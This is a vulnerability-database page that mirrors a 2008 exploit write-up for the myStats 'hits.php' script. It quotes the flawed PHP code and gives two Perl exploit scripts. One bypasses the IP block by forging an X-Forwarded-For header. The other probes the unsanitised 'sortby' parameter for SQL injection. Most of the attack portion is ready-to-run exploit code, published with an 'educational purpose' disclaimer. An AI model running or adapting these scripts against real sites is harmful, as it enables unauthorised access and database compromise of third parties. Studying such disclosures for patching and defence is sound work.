Lucene search
+L

mystats - 'hits.php' Multiple Vulnerabilities

🗓️ 15 Oct 2008 00:00:00Reported by JosSType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

'hits.php' Multiple Vulnerabilities - Break System Block IP and SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-4643
15 Oct 200800:00
circl
circl
Circl
CVE-2008-4644
15 Oct 200800:00
circl
cve
CVE
CVE-2008-4643
21 Oct 200822:00
cve
cve
CVE
CVE-2008-4644
21 Oct 200822:00
cve
cvelist
Cvelist
CVE-2008-4643
21 Oct 200822:00
cvelist
cvelist
Cvelist
CVE-2008-4644
21 Oct 200822:00
cvelist
euvd
EUVD
EUVD-2008-4623
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2008-4624
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-4643
22 Oct 200800:11
nvd
nvd
NVD
CVE-2008-4644
22 Oct 200800:11
nvd
Rows per page
# myStats (hits.php) Multiple Remote Vulnerabilities Exploit
# url: http://mywebland.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

---------------------
Break System Block IP
---------------------

<<hits.php>>

7: if (@getenv("HTTP_X_FORWARDED_FOR"))

   { $u_ip = @getenv("HTTP_X_FORWARDED_FOR"); }

   else { $u_ip = @getenv("REMOTE_ADDR"); }



   if ($u_ip == BLOCK_IP)

    { return 1;

13:  exit; }

<<config.php>>

11: define("BLOCK_IP", "127.0.0.1");

<<exploit.pl>>

use HTTP::Request;
use LWP::UserAgent;

my $web="http://localhost/hits.php";
my $ua=LWP::UserAgent->new();
$ua->default_header('X-Forwarded-For' => "127.1.1.1");
my $respuesta=HTTP::Request->new(GET=>$web);
$ua->timeout(30);
my $response=$ua->request($respuesta);
$contenido=$response->content;
if ($response->is_success)
{
open(FILE,">>results.txt");
print FILE "$contenido\n";
close(FILE);
print "\n[+] Exploit Succesful!\n\n";
}
else
{
print "\n[-] Exploit Failed!\n\n";
}

<<proof of concept>>

$ua->default_header('X-Forwarded-For' => "127.1.1.1"); --> BREAK BLOCK_IP

-------------
SQL Injection
-------------

<<hits.php>>

63: if (isset($_GET['sortby']))

    {$sortby = $_GET['sortby'];}

    else

    { $sortby =  'timestamp' ;}


    $sql = "SELECT * FROM " . LOG_TBL . " ORDER BY " . $sortby." DESC LIMIT 0, ". DISPLAY_LOG_NO ;

69: $querylog = mysql_query($sql) or die("Line 117 Cannot query the database.<br>" . mysql_error());

<<exploit.pl>>

use HTTP::Request;
use LWP::UserAgent;

my $web="http://localhost/hits.php?sortby=1'";
my $ua=LWP::UserAgent->new();
my $respuesta=HTTP::Request->new(GET=>$web);
$ua->timeout(30);
my $response=$ua->request($respuesta);
$contenido=$response->content;
if ($response->is_success)
{
if($contenido =~ /You have an error in your SQL syntax;/)
{
print "\n[+] Exploit Succesful!\n";
print "\n[+] Content:\n";
print "$contenido\n\n";
}
}
else
{
print "\n[-] Exploit Failed!\n\n";
}

# milw0rm.com [2008-10-15]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Oct 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02647
39